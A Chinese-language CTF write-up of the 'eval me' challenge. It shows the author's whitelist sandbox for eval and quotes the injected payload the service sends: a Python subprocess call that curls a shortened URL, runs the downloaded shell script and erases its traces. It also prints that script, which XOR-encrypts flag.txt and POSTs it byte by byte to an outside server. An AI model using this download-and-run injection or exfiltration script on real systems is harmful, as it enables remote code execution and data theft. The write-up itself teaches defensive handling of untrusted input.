题目分为两个部分,一个nc端口,一个流量包。流量包打开之后,可以看到有一些HTTP流量,是和`35.196.65.151`这个服务器通信,每次POST的都是一个JSON,`{"data":"xx"}`,其中xx是一个字节的hex,返回报文都是`{“ok”:true}`。POST出去的内容似乎不是任何一个已知的文件格式或加密方式。
接下来看nc端口,看起来是一个简单的加减乘除速算,有时间限制,重复连几次会发现结果是随机的。结合题目标题【eval me】的提示,似乎是要我们写个简单的pwntools脚本,把服务器返回的结果eval一下……
等等,你有没有觉得不太对劲?
万一服务器给我们执行的命令里加料了怎么办?永远不要把未经检查的字符串送进eval里,即使是在打CTF题的途中。
于是我简单写了个沙箱,一方面是字符白名单,另外一方面在eval时把`__builtins__`也置空(不过这个用处有限):
conn = remote('82.157.146.43', 15825)
context.log_level = 'debug'
conn.recvline_contains('Do it 100 times')
conn.recvline()
for i in range(100):
q = conn.recvline(keepends=False).decode()
if q == 'correct':
q = conn.recvline(keepends=False).decode()
# get rid of malicious
# if '\r#' in q:
# q = q[q.index('\r') + 2:]
if all([c in '0123456789+-*/ ' for c in q]):
res = eval(q, {'__builtins__': None})
conn.sendline(str(res).encode())
else:
print('safebox not passed', i, q)
break
conn.interactive()
结果果然,在大概第71个位置拦截了个重量级代码:`__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True) \r#1 + 2`。
熟悉python沙箱逃逸的师傅肯定秒懂了,这个会执行shell命令,从那个shorturl里curl下载一个extract.sh的shell代码,执行后把自己删掉,并且通过重定向和返回值让执行不留痕迹。我还尝试用在线服务把shorturl展开看了一下,原来的URL是https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png,是主办方给的URL,目前已经不在了。我从赛事的一份writeup里 (https://meashiri.github.io/ctf-writeups/posts/202308-sekaictf/#eval-me)找到了原本的extract.sh ,当然这个shell本身基本是无害的哈,传统功夫讲究点到为止。
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
echo $DataOut
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
echo $BYTE
echo curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
echo XOREncrypt $KEY $FLAG
XOREncrypt $KEY $FLAG
exit 0
所以其实就是把flag.txt的内容和key做cyclic xor之后发送给那个服务器。于是我们理解了抓包时拿到的包的含义,逆向的代码也很简单,这里就不给出了。
总结:
eval前记得做检查!eval前记得做检查!eval前记得做检查!重要事情说三遍
给bugku工作人员:感觉这个题还挺有教育意义的,如果可以的话希望能把环境修一下,把这个extract.sh重新部署一份,辛苦